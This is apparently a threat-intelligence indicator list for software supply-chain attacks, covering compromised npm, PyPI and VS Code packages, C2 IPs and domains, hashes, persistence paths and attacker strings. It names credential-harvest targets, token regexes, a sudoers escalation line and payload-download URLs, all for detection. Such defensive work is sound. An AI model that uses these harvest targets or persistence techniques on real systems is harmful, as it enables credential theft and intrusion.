{"value": "@airtm/uuid-base32", "note":
"compromised", "incident": "canisterworm"},

     
{"value": "@pypestream/floating-ui-dom",
"note": "compromised", "incident":
"canisterworm"},

     
{"value": "@bitwarden/[email protected]",
"note": "cascading from KICS Docker", "incident":
"bitwarden"},

     
{"value": "[email protected]", "note":
"CanisterSprawl worm (Apr 21-22)", "incident":
"canistersprawl"},

     
{"value": "@automagik/[email protected]",
"note": "CanisterSprawl (Apr 21-22)", "incident":
"canistersprawl"},

     
{"value":
"@fairwords/[email protected]", "note":
"CanisterSprawl precursor (Apr 8)", "incident":
"canistersprawl"},

     
{"value": "@fairwords/[email protected]",
"note": "CanisterSprawl precursor (Apr 8)",
"incident": "canistersprawl"},

     
{"value": "@openwebconcept/[email protected]",
"note": "CanisterSprawl (Apr 21)", "incident":
"canistersprawl"},

     
{"value": "@openwebconcept/[email protected]",
"note": "CanisterSprawl (Apr 21)", "incident":
"canistersprawl"},

     
{"value": "@cap-js/[email protected]", "note":
"SAP package (~250k/wk)", "incident":
"mini-shai-hulud"},

     
{"value": "@cap-js/[email protected]",
"note": "SAP package (~10k/wk)", "incident":
"mini-shai-hulud"},

     
{"value": "@cap-js/[email protected]",
"note": "SAP package (~260k/wk)", "incident":
"mini-shai-hulud"},

     
{"value": "[email protected]", "note": "SAP
build tool (~52k/wk)", "incident": "mini-shai-hulud"},

     
{"value": "[email protected]", "note":
"cross-ecosystem spread", "incident":
"mini-shai-hulud"},

     
{"value": "@tanstack/[email protected]",
"note": "12M weekly downloads", "incident":
"mini-shai-hulud-2"},

     
{"value": "@tanstack/[email protected]",
"note": "12M weekly downloads", "incident":
"mini-shai-hulud-2"},

     
{"value": "@tanstack/[email protected]",
"note": "TanStack router core", "incident":
"mini-shai-hulud-2"},

     
{"value": "@tanstack/[email protected]",
"note": "TanStack router core", "incident":
"mini-shai-hulud-2"},

     
{"value": "@tanstack/*", "note": "40+
packages compromised", "incident":
"mini-shai-hulud-2"},

     
{"value": "@tanstack/[email protected]",
"note": "infected Nx Console contributor (2.3 MB obfuscated
harvester)", "source": "Nx Postmortem", "incident":
"mini-shai-hulud-2"},

     
{"value": "@uipath/*", "note": "70+
packages compromised", "incident":
"mini-shai-hulud-2"},

     
{"value": "@uipath/[email protected]",
"note": "UiPath enterprise automation",
"incident": "mini-shai-hulud-2"},

     
{"value": "@uipath/[email protected]", "note":
"UiPath CLI", "incident": "mini-shai-hulud-2"},

     
{"value": "@uipath/[email protected]",
"note": "UiPath agent SDK", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI TypeScript client",
"incident": "mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI TypeScript client",
"incident": "mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI TypeScript client",
"incident": "mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI Azure client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI Azure client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI Azure client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI GCP client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI GCP client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@mistralai/[email protected]",
"note": "Mistral AI GCP client", "incident":
"mini-shai-hulud-2"},

     
{"value": "@antv/*", "note": "323
packages compromised (639 versions)", "incident":
"antv"},

     
{"value": "@antv/[email protected]", "note":
"charting library", "incident": "antv"},

     
{"value": "@antv/[email protected]", "note":
"charting library", "incident": "antv"},

     
{"value": "@antv/g6", "note": "graph
visualization", "incident": "antv"},

     
{"value": "@antv/x6", "note":
"diagramming", "incident": "antv"},

     
{"value": "@antv/l7", "note":
"geospatial visualization", "incident": "antv"},

     
{"value": "@antv/s2", "note":
"multidimensional analytics", "incident":
"antv"},

     
{"value": "@antv/f2", "note": "mobile
charts", "incident": "antv"},

     
{"value": "@antv/g", "note":
"rendering engine", "incident": "antv"},

     
{"value": "@antv/g2plot", "note":
"chart library", "incident": "antv"},

     
{"value": "@antv/graphin", "note":
"graph analysis", "incident": "antv"},

     
{"value": "@antv/data-set", "note":
"data processing", "incident": "antv"},

     
{"value": "@antv/[email protected]", "note":
"scale utilities (~2.2M weekly)", "incident":
"antv"},

     
{"value": "@antv/[email protected]", "note":
"scale utilities", "incident": "antv"},

     
{"value": "[email protected]",
"note": "~1.1M weekly downloads", "incident":
"antv"},

     
{"value": "[email protected]",
"note": "~1.1M weekly downloads", "incident":
"antv"},

     
{"value": "[email protected]",
"note": "~1.1M weekly downloads", "incident":
"antv"},

     
{"value": "[email protected]", "note":
"~1.15M weekly downloads", "incident": "antv"},

     
{"value": "[email protected]", "note":
"~1.15M weekly downloads", "incident": "antv"},

     
{"value": "[email protected]", "note":
"~4.2M monthly downloads", "incident": "antv"},

     
{"value": "[email protected]", "note":
"~4.2M monthly downloads", "incident": "antv"},

     
{"value": "[email protected]", "note":
"~4.2M monthly downloads", "incident": "antv"},

     
{"value": "canvas-nest.js", "note":
"canvas animation", "incident": "antv"},

     
{"value": "jest-canvas-mock", "note":
"testing utility", "incident": "antv"},

     
{"value": "jest-date-mock", "note":
"testing utility", "incident": "antv"}

    ],

   
"vscode_extensions": [

     
{"value": "[email protected]",
"note": "Nx Console (2.2M installs, 11-min exposure)",
"incident": "antv"}

    ],

   
"packagist_packages": [

     
{"value": "intercom/[email protected]",
"note": "first npm→Packagist spread (20.7M lifetime)",
"incident": "mini-shai-hulud"}

    ]

  },

  "malware":
{

   
"attribution_strings": [

     
{"value": "TeamPCP Cloud stealer", "note":
"self-attribution", "incident": ["trivy",
"checkmarx", "litellm"]},

     
{"value": "tpcp.tar.gz", "note":
"exfil bundle", "incident": ["trivy",
"checkmarx", "litellm"]},

     
{"value": "tpcp-docs", "note":
"GitHub dead drop", "incident": ["trivy",
"checkmarx", "litellm"]},

     
{"value": "System Telemetry Service",
"note": "systemd unit display name", "incident":
"litellm"},

     
{"value": "Runner.Worker", "note":
"memory scrape target", "incident": "trivy"},

     
{"value": "# hacked by teampcp", "note":
"xinference comment marker (disputed)", "incident":
"xinference"},

     
{"value": "love.tar.gz", "note":
"xinference exfil bundle", "incident":
"xinference"},

     
{"value": "X-QT-SR: 14", "note":
"xinference exfil HTTP header", "incident":
"xinference"},

     
{"value": "Shai-Hulud: The Third Coming",
"note": "Bitwarden payload identifier",
"incident": "bitwarden"},

     
{"value": "A Mini Shai-Hulud has Appeared",
"note": "GitHub repo description", "incident":
"mini-shai-hulud"},

     
{"value": "OhNoWhatsGoingOnWithGitHub",
"note": "GitHub commit search marker",
"incident": "mini-shai-hulud"},

     
{"value": "EveryBoiWeBuildIsAWormyBoi",
"note": "PyTorch Lightning search marker",
"incident": "mini-shai-hulud"},

     
{"value": "beautifulcastle", "note":
"KICS binary fallback C2 URL resolution", "incident":
["kics-docker", "bitwarden", "mini-shai-hulud"]},

     
{"value": "LongLiveTheResistanceAgainstMachines",
"note": "VSCode payload fallback GitHub token acquisition",
"incident": ["kics-docker", "bitwarden"]},

     
{"value": "KICS-Telemetry/2.0", "note":
"User-Agent for KICS exfil", "incident":
"kics-docker"},

     
{"value": "claude
", "note": "spoofed
commit author", "incident": "mini-shai-hulud"},

     
{"value": "chore: update dependencies",
"note": "malicious commit message", "incident":
"mini-shai-hulud"},

     
{"value": "dependabout", "note":
"typosquat branch name (dependabot misspelling)",
"incident": "mini-shai-hulud"},

     
{"value": "firedalazer", "note":
"GitHub dead-drop C2 trigger keyword", "incident":
"antv"},

     
{"value": "niagA oG eW ereH :duluH-iahS",
"note": "exfil repo description (reversed: Shai-Hulud: Here We
Go Again)", "incident": "antv"},

     
{"value": "python-requests/2.31.0",
"note": "spoofed User-Agent for GitHub API calls",
"incident": "antv"},

     
{"value": "python-httpx/0.28.1", "note":
"attacker User-Agent (May 15 return visit)", "source":
"Nx Postmortem", "incident": "antv"},

     
{"value": "Run Copilot", "note":
"injected workflow name", "incident": "antv"},

     
{"value": "Build action for vX.Y.Z",
"note": "imposter commit message pattern (actions-cool)",
"incident": "antv"},

     
{"value": "New Package", "note":
"imposter commit message (antvis/G2, forged author huiyu.zjt)",
"incident": "antv"},

     
{"value": "format-results", "note":
"artifact name for secrets dump", "incident":
"antv"}

    ],

   
"persistence_paths": [

     
{"value": "~/.config/systemd/user/sysmon.py",
"note": "developer machines", "incident":
"litellm"},

     
{"value": "~/.config/sysmon/sysmon.js",
"note": "checkmarx-util via VSCode ext",
"incident": "checkmarx"},

     
{"value":
"/root/.config/systemd/user/sysmon.service", "note":
"KICS systemd", "incident": "checkmarx"},

     
{"value": "/var/lib/svc_internal/runner.py",
"note": "kamikaze v1", "incident":
["trivy", "canisterworm"]},

     
{"value":
"/etc/systemd/system/internal-monitor.service", "note":
"kamikaze v1", "incident": ["trivy",
"canisterworm"]},

     
{"value": "/var/lib/pgmon/pgmon.py",
"note": "kamikaze v3 worm", "incident":
["trivy", "canisterworm"]},

     
{"value": "/etc/systemd/system/pgmonitor.service",
"note": "kamikaze v3 worm", "incident":
["trivy", "canisterworm"]},

     
{"value": "~/.config/systemd/user/pgmon.service",
"note": "CanisterWorm npm", "incident":
"canisterworm"},

     
{"value": "~/.local/share/pgmon/service.py",
"note": "CanisterWorm backdoor", "incident":
"canisterworm"},

     
{"value": "~/.npmrc", "note":
"harvested for npm tokens", "incident":
"canisterworm"},

     
{"value": "/etc/npmrc", "note":
"harvested for npm tokens", "incident":
"canisterworm"},

     
{"value": "/tmp/.pg_state", "note":
"state tracking", "incident": ["trivy",
"canisterworm"]},

     
{"value": "/tmp/pglog", "note": "temp
staging", "incident": ["trivy",
"canisterworm"]},

     
{"value": "%APPDATA%\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\msbuild.exe", "note": "Telnyx
Windows dropper (AdaptixC2)", "incident": "telnyx"},

     
{"value": "%APPDATA%\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\msbuild.exe.lock", "note": "lock
file (12hr re-infection guard)", "incident": "telnyx"},

     
{"value": "dllhost.exe (spawned suspended)",
"type": "string", "note": "injection
target", "incident": "telnyx"},

     
{"value": "\\\\.\\pipe\\%08lx", "type":
"string", "note": "named pipe fallback C2",
"incident": "telnyx"},

     
{"value": "~/.config/audiomon/audiomon.py",
"note": "Telnyx Linux backdoor", "incident":
"telnyx"},

     
{"value": "~/.config/systemd/user/audiomon.service",
"note": "Telnyx Linux persistence", "incident":
"telnyx"},

     
{"value": "/tmp/.initd_state", "note":
"Telnyx state tracking", "incident": "telnyx"},

     
{"value": ".claude/router_runtime.js",
"note": "Mini Shai Hulud payload", "incident":
"mini-shai-hulud"},

     
{"value": ".claude/setup.mjs", "note":
"Mini Shai Hulud dropper", "incident":
"mini-shai-hulud"},

     
{"value": ".claude/settings.json", "note":
"SessionStart hook persistence", "incident":
"mini-shai-hulud"},

     
{"value": "~/.claude.json", "note":
"credential harvest target", "incident":
"bitwarden"},

     
{"value": "~/.kiro/settings/mcp.json",
"note": "credential harvest target", "incident":
"bitwarden"},

     
{"value": ".vscode/setup.mjs", "note":
"VS Code dropper", "incident":
"mini-shai-hulud"},

     
{"value": ".vscode/tasks.json", "note":
"folderOpen task persistence", "incident":
"mini-shai-hulud"},

     
{"value": "results/results-*.json",
"note": "exfil staging", "incident":
"mini-shai-hulud"},

     
{"value": "/tmp/tmp.987654321.lock",
"note": "instance lock file", "incident":
"mini-shai-hulud"},

     
{"value": "~/.config/gh/hosts.yml",
"note": "GitHub CLI token target (exercised within 74s)",
"source": "Nx Postmortem", "incident": ["mini-shai-hulud-2",
"antv"]},

     
{"value": "~/.local/share/kitty/cat.py",
"note": "Python backdoor (GitHub dead-drop C2)",
"incident": "antv"},

     
{"value":
"~/Library/LaunchAgents/com.user.kitty-monitor.plist",
"note": "macOS persistence (hourly trigger)",
"incident": "antv"},

     
{"value":
"~/.config/systemd/user/kitty-monitor.service", "note":
"Linux persistence", "incident": "antv"},

     
{"value": "/var/tmp/.gh_update_state",
"note": "anti-replay state file", "incident":
"antv"},

     
{"value": "/tmp/kitty-*", "note":
"staging directories", "incident": "antv"},

     
{"value": "~/.local/bin/gh-token-monitor.sh",
"note": "token polling daemon (60s interval)",
"incident": "antv"},

     
{"value": ".github/workflows/codeql.yml",
"note": "injected workflow (Run Copilot)",
"incident": "antv"},

     
{"value": "/tmp/managed.pyz", "note":
"initial payload", "incident": "durabletask"},

     
{"value": "/tmp/rope-*.pyz", "note":
"secondary payload", "incident": "durabletask"},

     
{"value": "~/.cache/.sys-update-check",
"note": "general infection marker", "incident":
"durabletask"},

     
{"value": "~/.cache/.sys-update-check-k8s",
"note": "Kubernetes infection marker",
"incident": "durabletask"},

     
{"value": "/tmp/.rope_state/ssm_instances.json",
"note": "SSM target tracking", "incident":
"durabletask"},

     
{"value": "/etc/systemd/system/pcpcat-gost.service",
"note": "SOCKS5 proxy persistence", "source":
"Rubrik Zero Labs", "incident": "pcpcat"},

     
{"value": "/etc/systemd/system/pcpcat-frp.service",
"note": "FRP tunnel persistence", "source":
"Rubrik Zero Labs", "incident": "pcpcat"},

     
{"value":
"/etc/systemd/system/pcpcat-scanner.service", "note":
"Docker/Ray scanner persistence", "source": "Rubrik
Zero Labs", "incident": "pcpcat"},

     
{"value":
"/etc/systemd/system/pcpcat-react.service", "note":
"CVE-2025-55182 scanner persistence", "source":
"Rubrik Zero Labs", "incident": "pcpcat"},

     
{"value":
"/etc/systemd/system/pcpcat-redis.service", "note":
"Redis exploit persistence", "source": "Rubrik Zero
Labs", "incident": "pcpcat"},

     
{"value":
"/etc/systemd/system/pcpcat-boring.service", "note":
"XMRig miner persistence", "source": "Rubrik Zero
Labs", "incident": "pcpcat"},

     
{"value": "/etc/cron.d/teampcp", "note":
"hourly proxy.sh cron", "source": "Rubrik Zero
Labs", "incident": "pcpcat"}

    ],

   
"injected_files": [

     
{"value": "cmd/trivy/main.go", "note":
"Trivy injection", "incident": "trivy"},

     
{"value": "cmd/trivy/scand.go", "note":
"Trivy injection", "incident": "trivy"}

    ],

   
"kubernetes": [

     
{"value": "host-provisioner-std", "note":
"DaemonSet", "incident": ["trivy",
"canisterworm"]},

     
{"value": "host-provisioner-iran", "note":
"DaemonSet (wiper)", "incident": ["trivy",
"canisterworm"]},

     
{"value": "kamikaze", "note":
"Container (hostPID: true)", "incident":
["trivy", "canisterworm"]},

     
{"value": "provisioner", "note":
"Container name", "incident": ["trivy",
"canisterworm"]},

     
{"value": "node-setup-*", "note":
"Privileged pod pattern", "incident": "litellm"},

     
{"value": "alpine:latest", "note":
"Image for host filesystem mount", "incident":
["litellm", "pcpcat"]},

     
{"value": "system-monitor", "note":
"DaemonSet in kube-system (hostNetwork, hostPID, privileged)",
"source": "Rubrik Zero Labs", "incident":
"pcpcat"},

     
{"value": "teampcp", "note": "Docker
container name (privileged, host network)", "source":
"Rubrik Zero Labs", "incident": "pcpcat"}

    ],

   
"network_behavior": [

     
{"value": "Scans ports 22, 2375 on local /24",
"note": "worm behavior", "incident":
["trivy", "canisterworm"]},

     
{"value": "/var/log/auth.log", "type":
"path", "note": "parsed for targets",
"incident": ["trivy", "canisterworm"]},

     
{"value": "youtube.com connectivity check",
"type": "string", "note": "kill switch
(50-min poll)", "incident": ["canisterworm", "litellm"]},

     
{"value": "POST /telemetry/checkmarx.json",
"type": "string", "note": "AdaptixC2 beacon
URI", "incident": "telnyx"},

     
{"value": "X-Content-ID header", "type":
"string", "note": "AdaptixC2 session header",
"incident": "telnyx"},

     
{"value": "Mozilla/5.0 (Windows NT 6.2; rv:20.0)
Gecko/20121202 Firefox/20.0", "type": "string",
"note": "AdaptixC2 User-Agent", "incident":
"telnyx"},

     
{"value": "Russian locale exit", "type":
"string", "note": "CIS avoidance — exits if ru_*
locale detected", "incident": ["bitwarden",
"mini-shai-hulud"]},

     
{"value": "POST /v1/telemetry", "type":
"string", "note": "Mini Shai Hulud exfil URI",
"incident": "mini-shai-hulud"},

     
{"value": "GitHub GraphQL API commit search",
"type": "string", "note": "dead-drop token
retrieval", "incident": "mini-shai-hulud"},

     
{"value": "bun run index.js", "type":
"string", "note": "preinstall hook trigger",
"incident": "antv"},

     
{"value": "/proc//mem read",
"type": "string", "note": "Runner.Worker
memory scraping", "incident": "antv"},

     
{"value": "169.254.169.254", "type":
"ip", "note": "AWS IMDS credential harvest",
"incident": "antv"},

     
{"value": "169.254.170.2", "type":
"ip", "note": "ECS container metadata harvest",
"incident": "antv"},

     
{"value": "127.0.0.1:8200", "type":
"url", "note": "Vault token harvest",
"incident": "antv"},

     
{"value": "gh[op]_[A-Za-z0-9]{36,}",
"type": "regex", "note": "GitHub PAT
pattern", "incident": "antv"},

     
{"value": "npm_[A-Za-z0-9]{36,}", "type":
"regex", "note": "npm token pattern",
"incident": "antv"},

     
{"value":
"registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/",
"type": "url", "note": "npm OIDC token
exchange abuse", "incident": "antv"},

     
{"value": "runner ALL=(ALL) NOPASSWD:ALL",
"type": "string", "note": "sudoers privilege
escalation", "incident": "antv"},

     
{"value": "__DAEMONIZED=1", "type":
"envvar", "note": "persistence guard",
"incident": "antv"},

     
{"value": "NEXT_REDIRECT error exfil",
"type": "string", "note": "CVE-2025-55182
output exfil via X-Action-Redirect", "source": "Rubrik Zero
Labs", "incident": "pcpcat"}

    ],

   
"_dune_repo_pattern":
"--<3digits> (e.g.,
sardaukar-melange-472)",

   
"dune_repo_words": [

     
{"value": "sardaukar", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "mentat", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "fremen", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "atreides", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "harkonnen", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "gesserit", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "prescient", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "fedaykin", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "tleilaxu", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "siridar", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "kanly", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "sayyadina", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "ghola", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "powindah", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "prana", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "kralizec", "incident":
["mini-shai-hulud", "antv"]},

     
{"value": "sandworm", "incident":
"antv"},

     
{"value": "ornithopter", "incident":
"antv"},

     
{"value": "heighliner", "incident":
"antv"},

     
{"value": "stillsuit", "incident":
"antv"},

     
{"value": "lasgun", "incident":
"antv"},

     
{"value": "sietch", "incident":
"antv"},

     
{"value": "melange", "incident":
"antv"},

     
{"value": "thumper", "incident":
"antv"},

     
{"value": "navigator", "incident":
"antv"},

     
{"value": "futar", "incident":
"antv"},

     
{"value": "phibian", "incident":
"antv"},

     
{"value": "slig", "incident":
"antv"},

     
{"value": "cogitor", "incident":
"antv"},

     
{"value": "laza", "incident":
"antv"}

    ]

  }

}

Canisterworm

Network
Indicators- 5

cloudflare tunnels

souls-entire-defined-routes.trycloudflare.com

investigation-launches-hearings-copying.trycloudflare.com

championships-peoples-point-cassette.trycloudflare.com

create-sensitivity-grad-sequence.trycloudflare.com

icp
canister

tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io

File
Hashes- 7

canisterworm
malware

e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b

61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba

0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a

c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926

f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152

7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7

5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956

GitHub
Artifacts- 6

npm
packages

@EmilGroup/*

@opengov/*

@teale.io/[email protected]

@teale.io/[email protected]

@airtm/uuid-base32

@pypestream/floating-ui-dom

Malware
Signatures-
17

persistence
paths

/var/lib/svc_internal/runner.py

/etc/systemd/system/internal-monitor.service

/var/lib/pgmon/pgmon.py

/etc/systemd/system/pgmonitor.service

~/.config/systemd/user/pgmon.service

~/.local/share/pgmon/service.py

~/.npmrc

/etc/npmrc

/tmp/.pg_state

/tmp/pglog

kubernetes

host-provisioner-std

host-provisioner-iran

kamikaze

provisioner

network
behavior

Scans ports 22, 2375 on local /24

/var/log/auth.log

youtube.com connectivity check

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Canistersprawl

Network
Indicators- 5

icp
canister

cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io

canistersprawl c2

telemetry.api-monitor.com

canistersprawl hashes

c19c4574d09e60636425f9555d3b63e8cb5c9d63ceb1c982c35e5a310c97a839

834b6e5db5710b9308d0598978a0148a9dc832361f1fa0b7ad4343dcceba2812

87259b0d1d017ad8b8daa7c177c2d9f0940e457f8dd1ab3abab3681e433ca88e

GitHub
Artifacts- 6

npm
packages

[email protected]

@automagik/[email protected]

@fairwords/[email protected]

@fairwords/[email protected]

@openwebconcept/[email protected]

@openwebconcept/[email protected]

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Checkmarx

Network
Indicators- 2

kics c2

checkmarx.zone

83.142.209.11

File
Hashes- 4

kics openvsx

527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90

65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d

744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0

0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c

GitHub
Artifacts- 4

checkmarx
actions

Checkmarx/kics-github-action @ 121c38f

Checkmarx/ast-github-action @ aa52a82c

compromised
accounts

cx-plugins-releases

ast-phoenix

Malware
Signatures-
5

attribution
strings

TeamPCP Cloud stealer

tpcp.tar.gz

tpcp-docs

persistence
paths

~/.config/sysmon/sysmon.js

/root/.config/systemd/user/sysmon.service

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Litellm

Network
Indicators- 6

kics c2

checkmarx.zone

litellm c2

models.litellm.cloud

litellm.cloud

46.151.182.203

manpages.wtf

elementary
data markers

050afbe046d7545f5af1a0d3fcfbaf6e993fd93d487b431f09bc9e963c7220a135

File
Hashes- 7

litellm
packages

8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2

d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb

8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea

d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

litellm malware

a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b

71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238

6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a

GitHub
Artifacts- 4

litellm exfil

BerriAI/litellm @ fcaa823d

BerriAI/litellm-skills @ 81c851cc

pypi
packages

litellm==1.82.7

litellm==1.82.8

Malware
Signatures- 8

attribution
strings

TeamPCP Cloud stealer

tpcp.tar.gz

tpcp-docs

System Telemetry Service

persistence
paths

~/.config/systemd/user/sysmon.py

kubernetes

node-setup-*

alpine:latest

network
behavior

youtube.com connectivity check

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Telnyx

Network
Indicators- 3

telnyx c2

83.142.209.203

wav
delivery

83.142.209.203:8080/hangup.wav

83.142.209.203:8080/ringtone.wav

File
Hashes- 17

litellm
malware

6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a

telnyx
packages

7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9

f66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093

cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3

a9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5

telnyx malware

23b1ec58649170650110ecad96e5a9490d98146e105226a16d898fbe108139e5

ab4c4aebb52027bf3d2f6b2dcef593a1a2cff415774ea4711f7d6e0aa1451d4e

84edce66f09c55bbb44754411bde4b092288d172734df62fac20d6f794b3a2ec

5ce544a8db5d0b0953c966384858e4e8a017e7acba2f5f6d0ac8f529d59939d8

196b5e0e06424a02e360e28e08d7dcfab7ec8946af9477ca352c6cf6b7d4e9bd

e6912e3ec58120bf63edf2e4be6ff2f092c40cfbc655a12f4a463b2ef98d368e

e4e3b176c1255666024d90392e09466a23bf6e8740bf589c6d1ccf2dfff451a4

windows payload

7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd

dafc1cc5d39bc303562d8587b698b6351e843b77c01764efa8b423a36b88fa6d

7e270255567866d37ad56e3f06977b695e39530eede74a10a0848ba71560cb45

b92bd082bbd7d238089b2bb87d9cbf01be1bf8ab7213b67e9d27108e052ef75c

26b689749bc57991cbae2aab8ab6cf5acab6c64db4829ba2b1ced6c60d99a7a8

GitHub Artifacts- 2

pypi packages

telnyx==4.87.1

telnyx==4.87.2

Malware
Signatures- 10

persistence
paths

%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\msbuild.exe

%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\msbuild.exe.lock

dllhost.exe (spawned suspended)

\\.\pipe\%08lx

~/.config/audiomon/audiomon.py

~/.config/systemd/user/audiomon.service

/tmp/.initd_state

network
behavior

POST /telemetry/checkmarx.json

X-Content-ID header

Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202
Firefox/20.0

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Attacker

Network
Indicators- 16

attacker
ops

170.62.100.245

209.159.147.239

154.47.29.12

103.75.11.59

nsa.cat

105.245.181.120

138.199.15.172

163.245.223.12

185.77.218.4

193.32.126.157

23.234.107.104

34.205.27.48

staging
server

43.228.157.123

43.228.157.123/MidwestGrey.exe

43.228.157.123/kfhogts

43.228.157.123/oqqqqoa.mp3

File
Hashes- 5

staging server malware

81eda518ff6ebb25e6aa8d626b78cd2eb6cb38b5d7efb34e021289e76993414b

ea47cebe2fbbf06c22b9bd9b9d72dd4fe64aed4e68675aa5e693312a773e09e9

certificates

30015dd1e2cf4dbd49fff9ddef2ad4622da2e60e5c0b6228595325532e948f14

41c4f2f37c0b257d1e20fe167f2098da9d2e0a939b09ed3f63bc4fe010f8365c

d8caf4581c9f0000c7568d78fb7d2e595ab36134e2346297d78615942cbbd727

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Kics-docker

Network
Indicators- 2

april
c2

94.154.172.43

audit.checkmarx.cx

File
Hashes- 5

kics
docker april

24680027afadea90c7c713821e214b15cb6c922e67ac01109fb1edb3ee4741d9

2a6a35f06118ff7d61bfd36a5788557b695095e7c9a609b4a01956883f146f50

kics
docker digests

sha256:2588a44890263a8185bd5d9fadb6bc9220b60245dbcbc4da35e1b62a6f8c230d

sha256:222e6bfed0f3bb1937bf5e719a2342871ccd683ff1c0cb967c8e31ea58beaf7b

sha256:a0d9366f6f0166dcbf92fcdc98e1a03d2e6210e8d7e8573f74d50849130651a0

GitHub
Artifacts- 7

checkmarx
actions

Checkmarx/kics @ 22769adb

Checkmarx/ast-github-action PR#307

container
images

docker.io/checkmarx/kics:latest

docker.io/checkmarx/kics:v2.1.20

docker.io/checkmarx/kics:v2.1.21

docker.io/checkmarx/kics:alpine

docker.io/checkmarx/kics:Debian

Malware
Signatures- 3

attribution
strings

beautifulcastle

LongLiveTheResistanceAgainstMachines

KICS-Telemetry/2.0

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Bitwarden

Network Indicators- 2

april c2

94.154.172.43

audit.checkmarx.cx

File Hashes- 4

bitwarden cli

18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb

